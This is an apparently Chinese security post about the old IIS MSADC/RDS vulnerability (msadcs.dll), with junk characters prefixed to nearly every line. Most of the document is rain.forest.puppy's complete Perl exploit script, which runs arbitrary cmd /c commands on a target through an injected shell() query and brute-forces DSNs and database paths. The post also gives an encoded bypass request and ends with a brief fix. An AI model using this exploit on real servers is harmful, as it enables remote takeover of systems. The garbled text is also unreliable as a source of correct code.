IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
C IRMAX 3Q 2NiYg3 涉及程序：
@moaa} 1 Microsoft NT server
Ak$9\Sl /UaQ 2 h\ 描述：
3K/]{ dkD 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
vG=Pi'4XXo gADqIPu] 详细：
fgHsg@33N 如果你没有时间读详细内容的话，就删除:
=`Ky N / c:\Program Files\Common Files\System\Msadc\msadcs.dll
=F dFLrx~l 有关的安全问题就没有了。
17w{hK4o8O /nE K|.j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
UWdqcOr kV3LFPf>0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
jaMpi^C 关于利用ODBC远程漏洞的描述，请参看:
m~&>+q ^7 UQW v) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 579 t^"ja~ O"_QDl<ya 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Lmw)Ts> http://www.microsoft.com/security/bulletins/MS99-025faq.asp A{\DzUV9, [g{fz3
O6 这里不再论述。
>)mF'w {}=5uU 2Tu 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^9YS dFH/ <,H/7Ba /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!#E -p?O. 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
>xH? `I7;f T~4HeEG>uH :R3&R CT Z #将下面这段保存为txt文件，然后: "perl -x 文件名"
IWwOP{ <ZQ t{B6W)q #!perl
F>E_d<m #
brL u~]I # MSADC/RDS 'usage' (aka exploit) script
{n S(B #
i?)bF!J # by rain.forest.puppy
T>&dPVmG, #
u !fZ>kS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!A14\ # beta test and find errors!
- 8jlh v i[~Qt use Socket; use Getopt::Std;
B =DV!oUg getopts("e:vd:h:XR", \%args);
pTJ_DH ) 5Cqyp~P print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ol`q7i. &?gcnMg$,J if (!defined $args{h} && !defined $args{R}) {
R/2L9 Lcv print qq~
Eok8+7g0& Usage: msadc.pl -h <host> { -d <delay> -X -v }
#}8V UbJ -h <host> = host you want to scan (ip or domain)
=CL, + -d <seconds> = delay between calls, default 1 second
CM `Q(( -X = dump Index Server path table, if available
+.$:ZzH# -v = verbose
j9cB<atL -e = external dictionary file for step 5
g1B P U<'$ \ P Or a -R will resume a command session
f,BJb+0 ] HRHF'4 ~; exit;}
DvA#zX[ m5hu; >gt $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
EAF\ 7J* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z,VXH ?.Zo if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
[u-=<hnoa if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Q1H.2JXr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
% 5BSXAc if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Ysi@wK-LnF P+3
]g{2w if (!defined $args{R}){ $ret = &has_msadc;
dp3T JZ+U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
n9 Jev_!A 6O@Lx ]t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
l
5f'R . "cmd /c ";
U1kW1L}B $in=<STDIN>; chomp $in;
aQso<oK $command="cmd /c " . $in ;
q@4Cw&AI+ FE0 6,i\{ if (defined $args{R}) {&load; exit;}
"`w*-O viVn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=
@FT$GQ &try_btcustmr;
u4[JDB7tH XW{c C`&
print "\nStep 2: Trying to make our own DSN...";
#O'g*]j &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
YKx+z[ A/p _ CzAv % print "\nStep 3: Trying known DSNs...";
aecvz0}@R &known_dsn;
vTp,j-^ q"LT 8nD\ print "\nStep 4: Trying known .mdbs...";
qtP*O#1q &known_mdb;
uYd_5
nw !Z; Nv if (defined $args{e}){
zS?DXE print "\nStep 5: Trying dictionary of DSN names...";
4X eO^# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4U[X-AIY& nH[>Sff$ print "Sorry Charley...maybe next time?\n";
HaOSFltf# exit;
Z ,F 1n/7 r&XxF > ##############################################################################
zaE !=-U *mN8Qd sub sendraw { # ripped and modded from whisker
a$LoQ<f_ sleep($delay); # it's a DoS on the server! At least on mine...
TQ5kT ?/{ my ($pstr)=@_;
5%DHF-W) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q%t
_Epe die("Socket problems\n");
wJ7Fnj>u% if(connect(S,pack "SnA4x8",2,80,$target)){
vLCm,Bb2L select(S); $|=1;
73!])!SVI print $pstr; my @in=<S>;
4_4|2L3 select(STDOUT); close(S);
G2J4N2hu return @in;
I;mc:@R< } else { die("Can't connect...\n"); }}
Ej `G( RLDu5 ##############################################################################
B^x}=Z 4 F k?KR sub make_header { # make the HTTP request
w/7vXz< my $msadc=<<EOT
U,aMv[Z B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
hllb\Y)XL User-Agent: ACTIVEDATA
NV`7VYU Host: $ip
Btc[ Content-Length: $clen
o:Tpd 0F Connection: Keep-Alive
_ ^^5 iyMoLZ5 ADCClientVersion:01.06
;i 3 C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<Oj'0NK- ?j}
Fxr --!ADM!ROX!YOUR!WORLD!
qPCI@5n3T? Content-Type: application/x-varg
az Oib=3fz Content-Length: $reqlen
V#+J4 f:9qId
;/M EOT
e4 cWi ; $msadc=~s/\n/\r\n/g;
0#F<JsO|u return $msadc;}
"04:1J` M5 ]$w]Ny9 ##############################################################################
5eas^Rm lq2 7^K sub make_req { # make the RDS request
'W[Nr my ($switch, $p1, $p2)=@_;
CWnRRZ}r my $req=""; my $t1, $t2, $query, $dsn;
?:RW He.P c5{3 if ($switch==1){ # this is the btcustmr.mdb query
SxM5'KQ $query="Select * from Customers where City=" . make_shell();
By0Zz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$tebNi P $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
xllmF)]*Y 7L!q{%} elsif ($switch==2){ # this is general make table query
;B"S*wYMN $query="create table AZZ (B int, C varchar(10))";
&F +hh{ $dsn="$p1";}
{^K&9s z e73zpF elsif ($switch==3){ # this is general exploit table query
iP?=5j=4 $query="select * from AZZ where C=" . make_shell();
p2 m`p T $dsn="$p1";}
0U:9&j P, `mKK1x elsif ($switch==4){ # attempt to hork file info from index server
$yMNdBI[ $query="select path from scope()";
?w@KF%D $dsn="Provider=MSIDXS;";}
x]:B3_qR B{Lcx ~ elsif ($switch==5){ # bad query
!p4FK]B/u $query="select";
P/ dT;YhL $dsn="$p1";}
"J3n_3+ < t.
w(? $t1= make_unicode($query);
RS f*[2 $t2= make_unicode($dsn);
luO4ap]* $req = "\x02\x00\x03\x00";
/I q6'oo $req.= "\x08\x00" . pack ("S1", length($t1));
g U v`G $req.= "\x00\x00" . $t1 ;
b#_ u.vP $req.= "\x08\x00" . pack ("S1", length($t2));
+*$@ K'VL $req.= "\x00\x00" . $t2 ;
Y; q['h $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$C6O<A return $req;}
]N1gzHa S >2<
Jb!f& ##############################################################################
0bR})}a+Yg &0euNHH;sL sub make_shell { # this makes the shell() statement
i>@" & return "'|shell(\"$command\")|'";}
@!Q\|
< #^< Rx{ ##############################################################################
EeS VY &?y VLft sub make_unicode { # quick little function to convert to unicode
<ApzcyC
my ($in)=@_; my $out;
_l](dqyuN( for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
n6
AP6PK7 return $out;}
QgW4jIbx iYzm<3n? ##############################################################################
^2!l/(? N >+ L?C sub rdo_success { # checks for RDO return success (this is kludge)
\-)augq([ my (@in) = @_; my $base=content_start(@in);
>*[Bq; if($in[$base]=~/multipart\/mixed/){
0D48L5kH#' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-8 , lXrH return 0;}
%!Ak]|[7 P 4jg]g ##############################################################################
uVV;"LVK~ ] _P!+5]< sub make_dsn { # this makes a DSN for us
8w 4cqr4m my @drives=("c","d","e","f");
WiclG8l print "\nMaking DSN: ";
8{J{)gF foreach $drive (@drives) {
G+f@m, print "$drive: ";
_#6ekl|% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y,C3E>}Dq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!l1ycQM . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-<WQ>mrB& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
% wS5 m#n return 0 if $2 eq "404"; # not found/doesn't exist
[|\BuUT' if($2 eq "200") {
\^rAH@ foreach $line (@results) {
<YBA
7 i return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*ZA.O } return 0;}
bcZ s+FOPd 0=Z_5.T> ##############################################################################
D<*#. > 66l$}+|Zzc sub verify_exists {
B *j
AD2 my ($page)=@_;
2x&mJ}o#k my @results=sendraw("GET $page HTTP/1.0\n\n");
QBfsdu<@^ return $results[0];}
'Ijjk`d&c
! &OybjQ ##############################################################################
dD0: K3@ )6:nJ"j# sub try_btcustmr {
g{?]a'? my @drives=("c","d","e","f");
{(!j6 |jK my @dirs=("winnt","winnt35","winnt351","win","windows");
y9L:2f\ Wo+'j $k foreach $dir (@dirs) {
rN%aP-sa< print "$dir -> "; # fun status so you can see progress
2Aq%;=+* foreach $drive (@drives) {
5n'C6q " print "$drive: "; # ditto
!`%3?}mv, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
7'9~Kx&+ $reqlenlen=length( "$reqlen" );
Iz<}>J B $clen= 206 + $reqlenlen + $reqlen;
6Q.6 Ad:)5R o my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@SV.F if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7 -hSso.' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8_@#5 -h<Rby ##############################################################################
S MdQ,n1] wx|eO [14 sub odbc_error {
b:uMO N,H my (@in)=@_; my $base;
Q(Dp116 my $base = content_start(@in);
L0H kmaH if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{ f@k2^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s'/ g:aJ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}+8w $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[E E Tx- return $in[$base+4].$in[$base+5].$in[$base+6];}
_n;V iQM u print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
#{8n< sE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
EJrn4QOs $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JtrLTo vpGeG ##############################################################################
3,cZ*4('d lJloa'%v9 sub verbose {
>1=sw
qa my ($in)=@_;
.?YLD+\A return if !$verbose;
Htf|VpzMb print STDOUT "\n$in\n";}
s5TP ecd ;nbUbRb ##############################################################################
yF}l.>7D BtN@P23>k. sub save {
)wROPA\uA my ($p1, $p2, $p3, $p4)=@_;
> ^b6\ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
OBCRZ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4M&6q(389 close OUT;}
Ol9'ZB|R wtDy-H n ##############################################################################
`
qqUuFMM <-:gaA`KM sub load {
|3?q L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a0oM KGW: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
'K=n}}&: @p=<IN>; close(IN);
( bk~,n_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
TrHz(no $target= inet_aton($ip) || die("inet_aton problems");
=*aun& print "Resuming to $ip ...";
#l M :BO $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>d&_e[j if($p[1]==1) {
jMvWS71 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
B|-E3v:f 4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
h<50jnH! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A7 !=`yA$ if (rdo_success(@results)){print "Success!\n";}
}l/ !thzC else { print "failed\n"; verbose(odbc_error(@results));}}
h4 s!VK1X elsif ($p[1]==3){
R&BbXSIDX if(run_query("$p[3]")){
vt " 7[!O print "Success!\n";} else { print "failed\n"; }}
ptXLWv` elsif ($p[1]==4){
4A_}:nU if(run_query($drvst . "$p[3]")){
E5P?(5Nv print "Success!\n"; } else { print "failed\n"; }}
#
4AyA$t exit;}
xA-O?s"CY RSLM O8 ##############################################################################
*t'q n TM8WaH sub create_table {
S"iz
fQ@ my ($in)=@_;
UGNFWZ c $reqlen=length( make_req(2,$in,"") ) - 28;
T= |oZ $reqlenlen=length( "$reqlen" );
'G!w0y F $clen= 206 + $reqlenlen + $reqlen;
\h DH81L my @results=sendraw(make_header() . make_req(2,$in,""));
LB|FVNW/S return 1 if rdo_success(@results);
p-H q\DP my $temp= odbc_error(@results); verbose($temp);
0i2ZgOJ return 1 if $temp=~/Table 'AZZ' already exists/;
DbdxHuKa> return 0;}
!YlyUHD );*A$C9RA ##############################################################################
E }aTH :bx q%D%|o sub known_dsn {
LY%`O#i. # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Br 2ZloJ@+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G!J{$0. "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
x;,H>!r"i "banner", "banners", "ads", "ADCDemo", "ADCTest");
]urrAIK ^d! (8vh foreach $dSn (@dsns) {
YP raf$ print ".";
`k} next if (!is_access("DSN=$dSn"));
85P7I=`*d if(create_table("DSN=$dSn")){
:?VM1!~ga print "$dSn successful\n";
E 4^zW_|xE if(run_query("DSN=$dSn")){
Z _oBZs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
g|r:+%, M print "Something's borked. Use verbose next time\n";}}} print "\n";}
N b2]}; O ssv4#8p3 ##############################################################################
<!#6c :(Q =IH z@CU sub is_access {
ho#]i$b}f2 my ($in)=@_;
MXW CY i $reqlen=length( make_req(5,$in,"") ) - 28;
-z]v"gF?Px $reqlenlen=length( "$reqlen" );
o 7N3:) $clen= 206 + $reqlenlen + $reqlen;
[:geDk9O#' my @results=sendraw(make_header() . make_req(5,$in,""));
Tti]H9g_ my $temp= odbc_error(@results);
Cf'O *RFD verbose($temp); return 1 if ($temp=~/Microsoft Access/);
=FkU: q$ return 0;}
$*ujX,} xG w{J0K; L ##############################################################################
^PY*INv #WD} XOA sub run_query {
Suixk'- my ($in)=@_;
|kL^k{=zV $reqlen=length( make_req(3,$in,"") ) - 28;
sGjYL>* $reqlenlen=length( "$reqlen" );
wXv\[z L` $clen= 206 + $reqlenlen + $reqlen;
ln#Jb &u my @results=sendraw(make_header() . make_req(3,$in,""));
DGMvYNKTj return 1 if rdo_success(@results);
%UuV^C my $temp= odbc_error(@results); verbose($temp);
rmj?jBKQU return 0;}
d Ybb>rlu lPL>8. j ##############################################################################
F WNO/)~t KS($S( Fi sub known_mdb {
c0v;r4Jo#j my @drives=("c","d","e","f","g");
)K2,h5zU my @dirs=("winnt","winnt35","winnt351","win","windows");
F0O"rN{ my $dir, $drive, $mdb;
<S'5` -& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EGYYSoBLU { FO>^~>l # this is sparse, because I don't know of many
f S50 my @sysmdbs=( "\\catroot\\icatalog.mdb",
KUG\C\z6= "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`<>Emc8Z "\\system32\\certmdb.mdb",
irSdqa/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7@R;lOzL3 !ydJ{\; my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
l$$N~F N "\\cfusion\\cfapps\\forums\\forums_.mdb",
VU7x w "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Pa PQ|Pwz "\\cfusion\\cfapps\\security\\realm_.mdb",
]+O];*T "\\cfusion\\cfapps\\security\\data\\realm.mdb",
e;:~@cB,c "\\cfusion\\database\\cfexamples.mdb",
&D, gKT~ "\\cfusion\\database\\cfsnippets.mdb",
)jbYWR *& "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
N5u.V\F!z\ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
l?:!G7ie "\\cfusion\\brighttiger\\database\\cleam.mdb",
zG|}| //} "\\cfusion\\database\\smpolicy.mdb",
rt r0 d "\\cfusion\\database\cypress.mdb",
\;
Io "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
iGmBG1a\ "\\website\\cgi-win\\dbsample.mdb",
>'3J. FY "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
1?\ # hemL "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g z6BfHQG ); #these are just
G*_$[| H foreach $drive (@drives) {
^a~^$PUqI foreach $dir (@dirs){
~W'>L++ foreach $mdb (@sysmdbs) {
wehZ7eqm print ".";
"Gx( -NH+ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
f5jxF"oGNo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Q70LQCms if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%\8E{M: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
x{IxS?.j+ } else { print "Something's borked. Use verbose next time\n"; }}}}}
Z)cGe1?q V3&_ST foreach $drive (@drives) {
_idTsd:\ foreach $mdb (@mdbs) {
O-r,&W print ".";
FBpf_=(_1 if(create_table($drv . $drive . $dir . $mdb)){
Nq|b$S [4 print "\n" . $drive . $dir . $mdb . " successful\n";
<$)F_R~T3 if(run_query($drv . $drive . $dir . $mdb)){
z mvF#o print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.Ua|KKK C } else { print "Something's borked. Use verbose next time\n"; }}}}
xh[De}@ }
N:Yjz^Jt 9$7tB ##############################################################################
HMT^g mF) 0q`n] NM sub hork_idx {
D~W1[ "[ print "\nAttempting to dump Index Server tables...\n";
..RCR_DIp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1Wzm51RU $reqlen=length( make_req(4,"","") ) - 28;
.JIn ( $reqlenlen=length( "$reqlen" );
X PnN"Y"y $clen= 206 + $reqlenlen + $reqlen;
.^BL7 my @results=sendraw2(make_header() . make_req(4,"",""));
W$= MuF7R if (rdo_success(@results)){
C<Q;3w`#1j my $max=@results; my $c; my %d;
Tl9KL%9 for($c=19; $c<$max; $c++){
_MfXN$I?} $results[$c]=~s/\x00//g;
g+Z~ "O]$M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
qOO2@c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_]W
{)=ap $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Ar4@ 7 $d{"$1$2"}="";}
Z)B5 g> foreach $c (keys %d){ print "$c\n"; }
-}nTwx:|5u } else {print "Index server doesn't seem to be installed.\n"; }}
KTX; x2r NLZTIZCK ##############################################################################
B\BxF6 y ^W-03 sub dsn_dict {
,Q~C
F;qe open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^i}*$ZC72 while(<IN>){
|` gSk v $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ni$7)YcF next if (!is_access("DSN=$dSn"));
`4E6&&E+S if(create_table("DSN=$dSn")){
vCE1R]^A.] print "$dSn successful\n";
};%l <Ui; if(run_query("DSN=$dSn")){
FFGG6r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5yO %| ) print "Something's borked. Use verbose next time\n";}}}
u`Kj s}F' print "\n"; close(IN);}
86(8p_&zC /(-X[[V ##############################################################################
qI,4 uGg }{<@wE%s sub sendraw2 { # ripped and modded from whisker
V<f 76U) sleep($delay); # it's a DoS on the server! At least on mine...
KCG-&p$v@s my ($pstr)=@_;
n J H+P!AC socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
k[3J5 4`g1 die("Socket problems\n");
f(Jz*el
S if(connect(S,pack "SnA4x8",2,80,$target)){
z?V'1L1gM print "Connected. Getting data";
h\Gl yH~ open(OUT,">raw.out"); my @in;
h?H:r <
select(S); $|=1; print $pstr;
G
@ib while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
J}IHQZS close(OUT); select(STDOUT); close(S); return @in;
PfKIaW < } else { die("Can't connect...\n"); }}
Qx,jUL#2 D k&@AjJga ##############################################################################
PS ,@ \ G|5M~zP sub content_start { # this will take in the server headers
r|[uR$|Y my (@in)=@_; my $c;
(xnXM}M&2Y for ($c=1;$c<500;$c++) {
e-vwve if($in[$c] =~/^\x0d\x0a/){
tjw4.L<r if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
9L+dN%C else { return $c+1; }}}
z& !n'N <C return -1;} # it should never get here actually
\
UCOe bL>J0LWQ ##############################################################################
*,B o $:(n zX+NhTTB sub funky {
$ K>.|\ my (@in)=@_; my $error=odbc_error(@in);
y#-mj,e if($error=~/ADO could not find the specified provider/){
OmO/x print "\nServer returned an ADO miscofiguration message\nAborting.\n";
9Yg= 4>#$ exit;}
3=( Gb if($error=~/A Handler is required/){
(gd+-o4 print "\nServer has custom handler filters (they most likely are patched)\n";
hVPSW# .d exit;}
-z"=d<@ if($error=~/specified Handler has denied Access/){
tY=sl_ print "\nServer has custom handler filters (they most likely are patched)\n";
U#3Y 3EdF< exit;}}
gp
Aqz Y O=c^Ak ##############################################################################
MH;5gC@
` FOz7W sub has_msadc {
wGf U@!m my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q9v
O Y8 my $base=content_start(@results);
"p<B| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
u*#j;Xc return 0;}
s>8;At- |7G +O+j ########################
+AVYypql8K A1{ 7g<k6 \bJ,8J1C 解决方案：
4,D$% . 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZuV/!9qU 2、移除web 目录: /msadc
